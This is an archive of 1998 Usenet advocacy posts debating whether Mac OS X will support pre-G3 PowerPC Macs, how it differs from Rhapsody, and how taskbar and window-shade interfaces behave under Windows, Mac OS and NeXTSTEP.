References: <6oefqn$5dm$1@lwnws01.ne.highway1.com><Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu><mNOSPAMroeder-1407981257200001@192.168.21.171><pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu><mNOSPAMroeder-1507981407020001@192.168.21.170><Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu><1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de><Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu><id_est-2007982007050001@192.168.1.3><Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu><joe.ragosta-2107981248320001@wil132.dol.net><aman-2107982305530001@scz-ca17-19.ix.netcom.com><6p50k6$b1o$2@lwnws01.ne.highway1.com><joe.ragosta-2207981217170001@wil79.dol.net><SCOTT.98Jul22111835@slave.doubleu.com><andyba-ya02408000R2307981322200001@news> <SCOTT.98Jul28083702@slave.doubleu.com>
Scott Hess <scott@nospam.doubleu.com> wrote in message
SCOTT.98Jul28083702@slave.doubleu.com...
>In article <andyba-ya02408000R2307981322200001@news>,
> andyba@corp.webtv.net (Andy Bates) writes:
> In article <SCOTT.98Jul22111835@slave.doubleu.com>,
> scott@nospam.doubleu.com (Scott Hess) wrote:
> > In article <joe.ragosta-2207981217170001@wil79.dol.net>,
> > joe.ragosta@dol.net (Joe Ragosta) writes:
> Um, because you can have the same interface that is useful for
> advanced users, yet easy enough for novice users? Just a thought.
>
> Seriously, why do you think that "pro" users should have a
> different interface than new users? And yes, the Mac OS interface
> is scalable depending on the level of complexity required by the
> user.
>
>I think that users on a 350Mhz CPU with 64M RAM and a 8Gig hard drive
>should be allowed to excercise their machine more fully than an
>interface which can run on a 100Mhz CPU with 4M RAM and no hard drive
>would allow for. Otherwise, what's the point of all the extra power?
The programs you're running. If you're buying a machine with that much
grunt without having any applications that need it, you're wasting money.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: Wed, 29 Jul 1998 21:31:19 +1000
Organization: University of Queensland
Message-ID: <6pn16j$eod$1@bunyip.cc.uq.edu.au>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <6pl5bu$dr1$1@nnrp1.dejanews.com> <6pmenb$trv$2@bunyip.cc.uq.edu.au> <35befff9.0@nnrp1.news.uk.psi.net>
Richard Frith-Macdonald <richard@brainstorm.co.uk.> wrote in message
35befff9.0@nnrp1.news.uk.psi.net...
>"Christopher Smith" <drsmithy@usa.net> wrote:
>>
>><spagiola@my-dejanews.com> wrote in message
>>6pl5bu$dr1$1@nnrp1.dejanews.com...
>>>seanl@cs.umd.edu (Sean Luke) wrote:
>>>[Lots of good points about how poor a UI element windowshades are]
>>>
>>>The other problem I have with Windows' implementation of this idea is
that
>>>the absolute position of various miniaturized windows in the task bar is
>>>constantly shifting as windows are opened and re-miniaturized.
><SNIP>
>>This is incorrect, minimising and restoring windows does not change their
>>order on the taskbar, only closing and re-opening them will do it.
>
>Perhaps that's how it's meant to work (perhaps it really works that way
under
>Windows-98) - but it has happened to me too under NT4.
>It may be that it's a bug and doesn't normally happen - but it happens on
my system.
>
>If I have windows A and B and miniaturise A then B I get the miniaturised
window for
>A on the left and B to the right of it.
>If I then un-miniaturise A, the miniaturised B shifts left, and when I then
>re-miniaturise A the miniaturised version of A sits to the right of B.
Hmm, I've never seen this happen and after about 5 minutes of trying I can't
get it to.
What's the specs on your NT sytstem ? (Service packs, software installed
etc)
Is the problem reproduceable ?
Does it only affect certain programs ? If so, what are they ?
>
>
Date: Wed, 29 Jul 1998 07:55:45 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2907980755450001@wil64.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net> <MPG.1022d0677df988199899ed@news.supernews.com> <Josh.McKee-2507980952240001@pm3a23.rmac.net> <MPG.102459a86c0084e0989a04@news.supernews.com> <Josh.McKee-2607980952420001@pm3a6.rmac.net> <MPG.10256a18e0cf88e989a1d@news.supernews.com> <35BE81BF.10BE@launchnet.com>
In article <35BE81BF.10BE@launchnet.com>, Terry Haggin
<terry@launchnet.com> wrote:
> Hi,
>
> I have a ton on great old NeXT apps on my Cube and would like to know if
> I can run them on Rhapsody or OS X?
Unchanged? Unlikely. But many former Rhapsody apps have been updated or
are being updated. See www.stepwise.com for some information on the apps
which interest you.
>
> Those NeXT apps were the best I have ever used and it is hard to rum the
> on my super but sooooo so old cube. And does anyone have a copy of the
> Developers Rhapsody that they would like to sell/give to me?
They'd be in big trouble if Apple found out. Everyone who has Rhapsody DR2
is under NDA.
>
> I would love to see it work on my Pewforma 6400.
Probably won't happen.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 07:59:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2907980759220001@wil64.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org> <MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com> <6pl3r3$b4o$1@nnrp1.dejanews.com> <35BE3089.76CC988A@ericsson.com> <6pm4vg$1ud$1@nnrp1.dejanews.com>
In article <6pm4vg$1ud$1@nnrp1.dejanews.com>, arlist@my-dejanews.com wrote:
> In article <35BE3089.76CC988A@ericsson.com>,
> Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>
> > By the way, I noticed that you actually changed the public speech issue
> > surrounding the Simpson trial to a reference to the actual murder. Very
> > dishonest of you.
> >
> > MJP
> >
>
> I don't think the issue J.K. raised regarding the Simpson trial was one of
> public speech, but rather of the rights and reasons an injured party has for
> bringing suit. I refer you to the thread.
>
> But of course I'm wasting my time trying to clarify this matter for you.
>
> Let me just say that my lawyer has been informed of your defamatory and
> libelous statement that I am dishonest, and is preparing an ironclad case
> against you and your entire family, and everyone who has ever had the
> misfortune to know you.
Did you remember to include the doctor who delivered him? That ought to be
an open and shut malpractice case. ;-)
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 08:04:03 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2907980804030001@wil64.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <MPG.1026c4f284b72c45989a2c@news.supernews.com> <6pjgmr$m6i$3@lwnws01.ne.highway1.com> <MPG.1028195454173173989a36@news.supernews.com> <k4wv1.8467$7k7.11605996@news.rdc1.sdca.home.com>
In article <k4wv1.8467$7k7.11605996@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> But their John's words, he owns them - its his right to exercise his
> individual style. Hey, do we really want "Milk Toast" Kheit around here?
> Nah, Fire & Brimstone John gives us his best (arguable best) and the
> challenge of a little to chew on.
>
> Though, Joe maybe bit off more than he could chew... :-)
I don't think so. I'd be a heck of a lot more likely to win a malicious
prosecution countersuit than he would be to win his silly libel/slander
suit.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 07:53:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-2907980753420001@wil64.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6peuo4$3d2$1@ironhorse.plsys.co.uk> <FIiROLCWddLd-pn2-LqHtQgYcutcv@localhost> <joe.ragosta-2807980732310001@wil43.dol.net> <FIiROLCWddLd-pn2-FgMwY6ZvyiSH@localhost>
In article <FIiROLCWddLd-pn2-FgMwY6ZvyiSH@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> And Joe, in another thread I asked you to explain your comment on how
> MOSX would need kludges to support '97 PCI Powermac designs... I'd
> still be interested in learning about those kludges you mentioned.
I don't think I said it would require kludges. Perhaps there was something
funny in the context that I was referring to.
In general, though, the switch from Rhapsody to Mac OS X is a relatively
large step in many regards:
New kernel
Net imaging model
New (Carbon) APIs
New driver model.
Now, the better Apple has done on modularity, the easier this will be. But
that's not a trivial change in any event. I've been involved in product
testing with Apple and know how much work it takes to test even an
incremental upgrade. The testing on Mac OS X will be huge.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 08:13:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2907980813250001@wil64.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <MPG.1026c4389a7ccdea989a2b@news.supernews.com> <6pjh0n$m6i$4@lwnws01.ne.highway1.com> <joe.ragosta-2807980633150001@elk42.dol.net> <MPG.10281aa549c5d819989a37@news.supernews.com>
In article <MPG.10281aa549c5d819989a37@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> Speaking of nitpicking and overreacting, Joe (I was speaking so in
> another post in this thread),
>
> GIVE IT A REST. The more you justify and tear appart his statements to
> say he shouldn't be unhappy, the more you sound like you're justifying
> what you did which just ticks John off more.
>
> So, the misstatement happened. You were wrong, you said so. John is
> still unhappy, he said so. You and John have now exhausted the subject,
> move on.
OK. Nothing more on this topic.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 29 Jul 1998 08:38:43 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BF17D2.C02B6554@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Content-Transfer-Encoding: 7bit
Matt Kennel wrote:
> On Mon, 20 Jul 1998 18:42:58 -0700, Matthew Vaughan wrote:
> :I totally agree. If a Mac has a PowerPC processor, PCI slots, ADB,
> :SCSI...what does a G3 Mac have that older Macs lack? If all new G3 Macs
> :had USB but no ADB or serial, FireWire but no SCSI, 66MHz PCI and AGP, or
> :whatever, then I'd see the point, but as it is there's really no
> :distinction between a "G3 PowerMac" and any other PCI PowerMac or
> :compatible.
>
> Yes there is. It's all the low-level board level interface hardware which
> is different. And the G3 processor is different from previous processors,
> if you're a kernel engineer.
>
> The other issue is why is OSX going to be G3 only whereas the Rhapsody 1.0
> (aka OSX Server) will support more machines?
>
> Because OSX is going to a new kernel: Mach "3.0". (There are many Mach 3.0's,
> b.t.w.). The OS coming out this fall is going to be a continuation of
> the 2.5 line.
Mach 3 already runs on PCI Macs. You are just trying to complicate the issue by
suggesting that mysteriously that Apple's Mach kernal will be vastly different
from the other PPC Mach kernals. It won't be --- it'll be basically the same
thing, industrial grade no doubt, but the technology involved is the same.
> There are legitimate engineering issues. It's quite possible to debate
> their magnitude, and the cost of this support.
Pure baloney. Justification for Apple's predatory practices. You'd howling and
jeering if Microsoft had something like planned obsolescence (they haven't
actually, but I doubt you are capable of seeing past your hatred of Microsoft to
understand that).
> :Agreed. Just because we all defend MacOS vs. Windows overall doesn't mean
> :we don't think it sucks in many different ways... While 8.5 may be an
> :improvement, I don't see it fixing many fundamental issues, and what I've
> :heard of 8.6 and 9 (or whatever it will be called) don't sound like great
> :leaps forward either. Personally, I'm pretty sick of the lousy
> :multitasking, the fragmented memory, etc., but nothing short of OS X will
> :fix these issues.
>
> If you want a complete fix, this is true.
>
> Try OSX Server, coming *this* fall. It will turn system crashes of
> Mac programs into mere BlueBox freezes.
>
> Some new software might be yellow-box native. You will be able to
> do system management with fully protected native programs. Networking,
> and networked filesystems will be in the real, advanced kernel.
>
> Then hold out with that until you can get new hardware for full OSX.
Never. Apple wants to shaft me, so Apple can go get shafted. Enough of this
manure.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 29 Jul 1998 08:32:50 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BF1670.96FA0927@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <not-2007982342490001@ip-26-018.phx.primenet.com>
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Michael M. Eilers wrote:
> In article <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>,
> mbkennel <replace this with '@'> yahoo.com wrote:
>
> > Rhapsody 1.0 ships. They then say, "oh btw, Rhapsody 2.0 isn't going
> > to be compatible with as many machines as 1.0 because we're moving to
> > a new kernel, which we need for good SMP." Would people be having a
> > major shitfit?
> >
> > Somehow I really don't think so.
>
> Ahhh, the voice of sanity. Amen, brother.
*in*sanity is more like it --- the self-destructive consumer -- no, no, charge
me MORE!
> > The only difference is that the content of 2.0 has been upgraded, and
> > the future incompatibility telegraphed quite early.
>
> Early enough to give people plenty of time to plan for upgrading the
> hardware. No last-minute suprises. Quite responsible of Apple, actually.
Oh, this is RICH! You mean by giving "people plenty of time to plan for
upgrading the hardware" that people should buy a G3 system in anticipation of OS
X! Very BAD advice --- this is precisely the kind of reasoning that has got
millions of Apple customers hosed in the first place --- buying boxes that Apple
absolutely confirms the new OS will run on, but then changing everything AFTER
the fact. Rhapsody was supposed to run on PCI Macs, but version 2 (OS X) will
not. Seem pretty damn sudden to me!
> > I suppose they could have not said anything about hardware compatibility
> > with OSX, saying "It's too far in the future to tell.". Then when it
> > comes out, people start whining that Apple didn't give them enough advanced
> > notice.
>
> Ah yes, there are those among us who feel it is their only function to
> complain and kibitz.
>
And there are those who do nothing but ridicule and rejoice in the pain and just
outrage of others --- a far lower form of life, I should think.
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 29 Jul 1998 08:40:04 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BF1822.3E94CE81@earthlink.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net>
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Joe Ragosta wrote:
> > In article <not-2007981004090001@ip-26-136.phx.primenet.com>,
> > eilersm@psn.net wrote:
> >
> >
> > > Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> > > old--they don't even get tech support. Try to call Apple right now and ask
> > > them for help with your IIsi.
>
> The IIsi was discontinued in 1991 and is comparable to a 386. What major
> OS is supported by the vendor on a 386?
Windows 95
Slip in a $100 Pentium-compatible and it'll actually run fast enough to use.
You've already been told this, Joe by others. Stop being so disingenuous.
Date: Wed, 29 Jul 1998 08:50:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907980850290001@wil64.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <mazulauf-2407981051100001@grumpy.met.utah.edu> <MPG.10239d85c7aea4289899f7@news.supernews.com> <35BE0268.1B22EC9D@earthlink.net>
In article <35BE0268.1B22EC9D@earthlink.net>, jontemple@earthlink.net wrote:
> MacOS X is a whole new project from Copland, yes. It is not a whole new
> project from Rhapsody, however, which supports the PCI Macs. MacOS X is
> nothing more than version 2 of Rhapsody; even the name change of Rhapsody to
> MacOS X Server makes that continuity clear. Dropping PCI Mac support from
> MacOS X when they are already supported by version 1 of that OS is exploitive
> and wrong.
I wonder how many times I'll have to repeat this before it sinks in?
Mac OS X is different from Rhapsody (aka Mac OS X Server) by:
New kernel
New graphics model
New APIs
New driver model
It's not the same thing.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 08:46:23 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907980846230001@wil64.dol.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <Josh.McKee-2807981805580001@pm3a10.rmac.net>
In article <Josh.McKee-2807981805580001@pm3a10.rmac.net>,
Josh.McKee@cbns.com (Joshua T. McKee) wrote:
> In article <joe.ragosta-2607982033560001@elk91.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > In article <Josh.McKee-2607981711240001@pm3a17.rmac.net>,
> > Josh.McKee@cbns.com (Joshua T. McKee) wrote:
>
> > > It is very strange Joe, Mac advocates have been championing Apples great
> > > backward compatibility as a big feature. Now we're being told it doesn't
> > > count for anything?
> >
> > I wouldn't say it doesn't mean anything. It would be very, very nice if I
> > could run Rhapsody on my old IIsi. But it's not going to happen and there
> > are other factors I consider more important.
>
>
> We're not talking about running Mac OS X on a IIsi Joe, we're talking
> about running it on very recent hardware which was only recently
> discontinued. Combine that with no real reason why this OS couldn't run
> on these systems, and it makes it that much worse.
There _is_ a reason. It's been explained over and over. The cost of
putting Mac OS X onto older hardware and supporting it is too high for
Apple in its current condition to support.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 29 Jul 1998 08:44:09 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-2907980844090001@wil64.dol.net>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu> <6pjer0$941@newsb.netnews.att.com> <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2807981531280001@news> <Pine.SOL.3.96.980728230635.5319C-100000@ux9.cso.uiuc.edu>
In article <Pine.SOL.3.96.980728230635.5319C-100000@ux9.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> On Tue, 28 Jul 1998, Andy Bates wrote:
>
> > In article <Pine.SOL.3.96.980728103229.17041F-100000@ux8.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > The Mac could have an equivalent to the taskbar (hopefully much better).
> > > I've never really looked at GoMac or tried it out, but apparently that
> > > does something similar.
> >
> > The Mac does have something better; in 8.5, the Application menu can be
> > torn off, so you have one button per application, instead of one per
> > window. That looks good to me.
>
> Mac OS 8.5 does not exist yet. I ask you to withdraw your comment.
Actually, 8.5 _does_ exist. It's just not available to everyone yet. ;-P
(but you're right, his use of the present tense is misleading).
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: Wed, 29 Jul 1998 12:47:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pn5ki$dde$1@nnrp1.dejanews.com>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu> <6pl5bu$dr1$1@nnrp1.dejanews.com> <6pmenb$trv$2@bunyip.cc.uq.edu.au>
"Christopher Smith" <drsmithy@usa.net> wrote:
> <spagiola@my-dejanews.com> wrote in message
> >The other problem I have with Windows' implementation of [task bars] is that
> >the absolute position of various miniaturized windows in the task bar is
> >constantly shifting as windows are opened and re-miniaturized. A tile which
> >might be at far left at one point may be at far right at another. This
> makes
> >getting at a given window needlessly difficult, since every time I need to
> >scan the entire task bar to find the one I want. Under NeXSTEP, tiles stay
> >put (and I can reposition them if I care to) making keeping track of them
> >easier.
>
> This is incorrect, minimising and restoring windows does not change their
> order on the taskbar, only closing and re-opening them will do it.
What system are you using? Under W95, if I restore a window that has been
minimized, any other windows tiles on the task bar that had been to its right
moves left to fill the gap. When I reminimize the window, it adds itself at
the right of the bar.
At least, that's what happens under W95. Perhaps the behavior has changed
under W98?
Stefano Pagiola
spagiola@my-dejanews.com
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Wed, 29 Jul 1998 09:04:14 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2907980904140001@wil64.dol.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <Josh.McKee-1707981733170001@pm3a19.rmac.net> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <6oqjko$qqs$1@camel19.mindspring.com> <6otmti$g4$1@nnrp1.dejanews.com> <35b26dbb.0@news.depaul.edu> <6ou5gk$kfk$1@nnrp1.dejanews.com> <MPG.101cfec0f9313ac39899cc@news.supernews.com> <FIiROLCWddLd-pn2-gdKdv5NP2C9f@localhost> <35BE0BBE.AE74C1E3@earthlink.net>
In article <35BE0BBE.AE74C1E3@earthlink.net>, jontemple@earthlink.net wrote:
> I, too, would like to know what motivates Apple Apologist like Don
Brown, for whom
> Apple-Can-Do-No-Wrong(tm). He doesn't sound like a customer, who would
logically
That's funny. In another thread he was called a MS butt-kisser and apologist.
> expect better support, not less. He sounds more like an Apple employee
or someone
> who stands to lose if Apple does the right thing by its customers. My
motivation is
> obvious: I want Apple to support my machine. His motivation is opaque and runs
> completely counter to commonsense. This "Apple is going to die if it
doesn't make a
> quick buck off of new G3s" or "Apple is going to die if it has to
support Macs sold
> more than 2 months ago" slogans look pretty pathetic given Apple's recent $101
> million dollar profit. Apple CAN and SHOULD do the right thing by their
customers.
I think you're misrepresenting what Don says. I happen to agree with him
on this point.
It would be very nice if Mac OS X ran on the pre-G3 Macs. I'd love to see
it. But not at the expense of putting Apple back into the red.
Apple has only recently restored its credibility and reduced its overhead
and staffing to the point that they can make money. They need to sustain
this for a while.
Supporting Mac OS X on previous machines is not going to be free. The cost
to do it and then support it is real. Apple has considered the cost and
benefits and decided that they can't afford to do it at this time.
What's the alternative? Let's see:
1. Apple tries to support pre-G3 Macs (where do you draw the line, btw?
